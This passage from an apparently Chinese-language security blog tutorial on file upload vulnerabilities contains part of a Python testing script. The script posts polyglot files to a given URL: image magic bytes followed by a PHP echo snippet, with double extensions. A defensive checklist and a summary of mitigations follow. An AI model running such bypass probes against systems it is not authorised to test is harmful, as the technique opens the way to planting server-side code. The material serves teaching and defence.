                response = requests.post(self.target_url, files=files, timeout=10)
                self.results.append({
                    'test': f'MIME: {mime}',
                    'status': response.status_code,
                    'length': len(response.text)
                })
            except Exception as e:
                self.results.append({
                    'test': f'MIME: {mime}',
                    'error': str(e)
                })

    def test_magic_bytes(self):
        """測試 Magic Bytes 繞過"""
        payloads = [
            ('GIF89a<?php echo "VULNERABLE"; ?>', 'gif'),
            (b'\x89PNG\r\n\x1a\n<?php echo "VULNERABLE"; ?>', 'png'),
            (b'\xFF\xD8\xFF\xE0<?php echo "VULNERABLE"; ?>', 'jpg'),
        ]

        for payload, ext in payloads:
            if isinstance(payload, str):
                payload = payload.encode()

            files = {'file': (f'test.php.{ext}', payload, 'image/jpeg')}

            try:
                response = requests.post(self.target_url, files=files, timeout=10)
                self.results.append({
                    'test': f'Magic Bytes: {ext}',
                    'status': response.status_code,
                    'length': len(response.text)
                })
            except Exception as e:
                self.results.append({
                    'test': f'Magic Bytes: {ext}',
                    'error': str(e)
                })

    def run_all_tests(self):
        """執行所有測試"""
        print(f"[*] Testing: {self.target_url}")
        print("-" * 50)

        self.test_extension_bypass()
        self.test_mime_bypass()
        self.test_magic_bytes()

        print("\n[*] Results:")
        for result in self.results:
            if 'error' in result:
                print(f"  [-] {result['test']}: Error - {result['error']}")
            else:
                print(f"  [+] {result['test']}: Status={result['status']}, Length={result['length']}")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <upload_url>")
        sys.exit(1)

    tester = UploadTester(sys.argv[1])
    tester.run_all_tests()

安全檢查清單

在測試或審核檔案上傳功能時,使用以下檢查清單:

  • 是否實作白名單驗證副檔名?
  • 是否驗證實際 MIME 類型(使用 magic bytes)?
  • 是否有檔案大小限制?
  • 上傳的檔案是否存放在 Web Root 之外?
  • 上傳目錄是否禁止執行腳本?
  • 是否重新命名上傳的檔案?
  • 是否移除或驗證圖片的 EXIF 資料?
  • 是否對圖片進行二次渲染處理?
  • 是否有完整的錯誤處理?
  • 是否記錄上傳活動(檔名、來源 IP、時間)?
  • 是否設定適當的 Content-Security-Policy?
  • 是否使用獨立的域名提供上傳的檔案?

總結

檔案上傳漏洞是 Web 應用程式中最危險的漏洞之一,可能導致伺服器被完全控制。防護這類漏洞需要多層次的安全措施:

  1. 輸入驗證:使用白名單策略,結合副檔名、MIME 類型和 Magic Bytes 驗證
  2. 檔案處理:對圖片進行二次渲染,移除所有 metadata
  3. 儲存安全:將檔案存放在 Web Root 之外,禁止執行權限
  4. 架構設計:使用獨立域名或 CDN 提供靜態檔案
  5. 監控記錄:完整記錄所有上傳活動,便於事後調查

永遠記住:不要信任使用者的任何輸入,包括上傳的檔案。實作完善的驗證機制和安全的儲存架構,才能有效防護檔案上傳漏洞帶來的威脅。

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy